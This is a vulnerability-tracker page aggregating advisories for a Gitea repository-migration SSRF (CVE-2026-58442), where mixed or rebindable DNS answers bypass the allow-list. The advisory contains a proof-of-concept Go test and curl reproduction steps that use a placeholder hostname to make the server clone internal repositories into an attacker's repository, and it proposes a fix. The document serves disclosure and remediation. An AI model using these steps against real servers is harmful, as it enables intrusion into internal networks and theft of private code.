Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Repository migration SSRF via multi-answer DNS allow-list bypass

cve-program · severity unknownEUVD CVSS 3.1 6.5 CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by code.gitea.io/gitea 1.27.0osv · severity unknownFixed by gitea.dev 1.27.0KEV status unknown

cve-program · CVE-2026-58442

Published

Repository migration SSRF via multi-answer DNS allow-list bypass

Read the publisher's advisory

euvd · EUVD-2026-58169

Published

Repository migration SSRF via multi-answer DNS allow-list bypass

Read the publisher's advisory

nvd · CVE-2026-58442

Published

Repository migration SSRF via multi-answer DNS allow-list bypass

Read the publisher's advisory

osv · GHSA-h2x6-g7q6-344v

Published

### Summary Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address. An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker. ### Details The issue is in `services/migrations/migrate.go`, in the migration allow/block-list check. Current logic computes whether any resolved IP is allowed: ```go var ipAllowed bool var ipBlocked bool for _, addr := range addrList { ipAllowed = ipAllowed || allowList.MatchIPAddr(addr) ipBlocked = ipBlocked || blockList.MatchIPAddr(addr) } ``` Then, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true: ```go if !allowList.IsEmpty() { if !allowList.MatchHostName(hostName) && !ipAllowed { return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true} } } ``` This means a hostname resolving to both: - an allowed public IP, e.g. `1.2.3.4` - a blocked internal IP, e.g. `127.0.0.1` passes validation because the public IP sets `ipAllowed = true`. The actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly. The direct internal URL is correctly blocked, but the multi-answer hostname is accepted. ### PoC I verified the vulnerable predicate locally against Gitea checkout: ```text e8654c7e062431a521636703f47339cde64644fd ``` using Dockerized Go tests with `golang:1.26.4`. The local test proves: - `checkByAllowBlockList("loopback.example.test", [127.0.0.1])` is rejected. - `checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])` is accepted. Minimal reproducer at the validation layer: ```go func TestMigrationMultiAnswerAnyAllowed(t *testing.T) { old := setting.Migrations t.Cleanup(func() { setting.Migrations = old }) setting.Migrations.AllowedDomains = "" setting.Migrations.BlockedDomains = "" setting.Migrations.AllowLocalNetworks = false require.NoError(t, Init()) err := checkByAllowBlockList("mixed.example.test", []net.IP{ net.ParseIP("1.2.3.4"), net.ParseIP("127.0.0.1"), }) require.NoError(t, err, "mixed public+loopback answers should currently pass") err = checkByAllowBlockList("loopback.example.test", []net.IP{ net.ParseIP("127.0.0.1"), }) require.Error(t, err, "loopback-only answer should be rejected") } ``` To reproduce end-to-end: 1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`. 2. Create a normal non-admin user that can create repositories. 3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`. 4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone. 5. Confirm the direct internal migration is rejected: ```bash curl -X POST http://GITEA/api/v1/repos/migrate \ -H "Authorization: token USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://127.0.0.1:18082/repo.git", "repo_name": "direct-internal", "service": "git", "private": true }' ``` Expected direct result: ```json {"message":"You can not import from disallowed hosts."} ``` 6. Start a migration from the attacker-controlled multi-answer hostname: ```bash curl -X POST http://GITEA/api/v1/repos/migrate \ -H "Authorization: token USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://mixed.example.test:18082/repo.git", "repo_name": "multidns-ssrf", "service": "git", "private": true }' ``` Expected vulnerable result: - The migration request is accepted. - The git subprocess can connect to the internal address. - Internal repository contents are imported into the attacker's new Gitea repository. ### Impact This is a server-side request forgery in repository migration. An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated. Potentially impacted resources include: - internal Git repositories - localhost-only services - private network source-control services - metadata or internal infrastructure endpoints if reachable and compatible with the request path The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation. ### Suggested fix The migration allow/block-list check should fail closed for multi-answer DNS: - reject if **any** resolved IP is blocked - require **all** resolved IPs to be allowed when an allow-list is active - treat an empty resolution result as not IP-allowed - ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone` For example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND: ```go ipAllowed := len(addrList) > 0 ipBlocked := false for _, addr := range addrList { ipAllowed = ipAllowed && allowList.MatchIPAddr(addr) ipBlocked = ipBlocked || blockList.MatchIPAddr(addr) } ```

Read the publisher's advisory

osv · GO-2026-6058

Published

Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass in gitea.dev

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

16 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

19 Nov 2026 17:49:33 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

17 Nov 2026 17:35:26 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

15 Nov 2026 16:47:07 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

13 Nov 2026 16:01:37 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

11 Nov 2026 15:00:34 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

9 Nov 2026 14:06:54 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

7 Nov 2026 13:24:16 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

5 Nov 2026 12:41:19 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

3 Nov 2026 12:00:07 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

1 Nov 2026 11:23:14 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

30 Oct 2026 10:50:23 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

28 Oct 2026 08:36:37 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

euvd · EUVD-2026-58169 · Published

25 Oct 2026 14:19:16 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

nvd · CVE-2026-58442 · Published

24 Oct 2026 13:19:41 UTC

Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass

osv · GHSA-h2x6-g7q6-344v · Published

24 Oct 2026 13:19:41 UTC

Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass in gitea.dev

osv · GO-2026-6058 · Published

23 Oct 2026 15:48:27 UTC

Repository migration SSRF via multi-answer DNS allow-list bypass

cve-program · CVE-2026-58442 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 21 Nov 01:23 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current